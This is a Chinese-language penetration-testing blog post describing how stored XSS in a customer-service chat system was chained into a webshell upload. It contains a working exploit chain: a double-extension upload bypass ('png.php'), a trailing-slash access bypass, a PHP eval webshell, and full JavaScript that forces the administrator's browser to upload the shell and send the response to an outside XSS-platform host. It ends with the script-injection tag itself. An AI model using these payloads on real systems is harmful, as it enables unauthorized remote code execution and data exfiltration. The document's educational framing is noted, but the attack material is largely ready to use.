跳到主要内容

记一次XSS至getshell全过程!!

· 阅读需 7 分钟

RedCell-Sec

偶然在一次渗透过程中发现一个客服系统聊天界面发现可以XSS

对发送信息处进行抓包,可在content参数插入xss语句

这是访客前台效果:

这是后台管理的效果:

而且只要客服查看信息,便可以执行XSS语句

然并卵,本来想钓客服的cookie,登录后台,找到shell点,成功getshell(幻想时间),但是经过测试,发现该客服系统的session是受保护的,并不能窃取到cookie

已经决定放弃这个点了,随后在审计源码后,发现了图片上传点

老样子,抓包改后缀

解码得知,不支持php的文件格式

经过一系列尝试之后,并且审计源码规则之后,发现该系统只要检测到了一个类似png的图片格式就会允许上传,所以直接在图片.png后面在加一个.php即可

上传成功!访问一下试试看

鸡,不死心,用哥斯拉连一下试试看

果然还是失败,但是上传了txt文件,发现可以直接访问,所以判断该系统是禁止了用户访问php后缀的文件,所以尝试绕过一番

果然功夫不负有心人,在php文件后加了/,即可绕过,正常访问php后缀的文件

哥斯拉成功连接!

但是,这一切都是基于进入后台后才能通过此功能点上传webshell。。。。

随后联想到了利用XSS可以利用伪造客服发包,进行上马操作,说干就干

直接利用某XSS平台的ajax模块:

修改Content-TypeContent-type","multipart/form-data; boundary=----WebKitFormBoundaryxyMezY4spANQsjZK,POST内容修改为bp的上传shell的数据包载荷,其中function(rs){}是一个ajax异步回调函数,当数据包发送之后调用并将响应体传入rs,在回调函数内加入默认模块将其通过cookie发送至xss平台,从而得到包含了上传的文件路径的响应内容。

其中默认模块需要另外新建项目并勾选默认模块:

访问对应地址得到JS内容:

将默认模块的JS代码加入ajax模块代码结合使用

具体JS代码:

var pkav={
ajax:function(){
var xmlHttp;
try{
xmlHttp=new XMLHttpRequest();
}catch (e){
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
return false;
}
}
}
return xmlHttp;
},
req:function(url,data,method,callback){
method=(method||"").toUpperCase();
method=method||"GET";
data=data||"";
if(url){
var a=this.ajax();
a.open(method,url,true);
if(method=="POST"){
a.setRequestHeader("Content-type","multipart/form-data; boundary=----WebKitFormBoundaryxyMezY4spANQsjZK");
}
a.onreadystatechange=function(){
if (a.readyState==4 && a.status==200)
{
if(callback){
callback(a.responseText);
}
}
};
if((typeof data)=="object"){
var arr=[];
for(var i in data){
arr.push(i+"="+encodeURIComponent(data[i]));
}
a.send(arr.join("&"));
}else{
a.send(data||null);
}
}
},
get:function(url,callback){
this.req(url,"","GET",callback);
},
post:function(url,data,callback){
this.req(url,data,"POST",callback);
}
};
pkav.post("/admin/event/uploadimg",`------WebKitFormBoundaryxyMezY4spANQsjZK
Content-Disposition: form-data; name="editormd-image-file"; filename="arzs.png.php"
Content-Type: image/png

<?php @eval($_POST['cmd']);?> // 你的webshell
------WebKitFormBoundaryxyMezY4spANQsjZK--`,function(rs){
//填入默认模块
(function() { (new Image()).src = '//uj.ci/bdstatic.com/?callback=jsonp&id=fia&location=' + encodeURIComponent((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + encodeURIComponent((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + encodeURIComponent((function() {
try {
//将document.cookie改为rs响应变量,直接用cookie回显
return rs
} catch(e) {
return ''
}
})()) + '&opener=' + encodeURIComponent((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();

});

填入模块自定义代码中保存即可

复制对应的JS URL构造XSS代码拦截发送:

<a></a>你好<script src=//uj.ci/ace></script>

查看XSS平台回显:

利用上文绕过思路,连接哥斯拉:

成功getshell!!

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。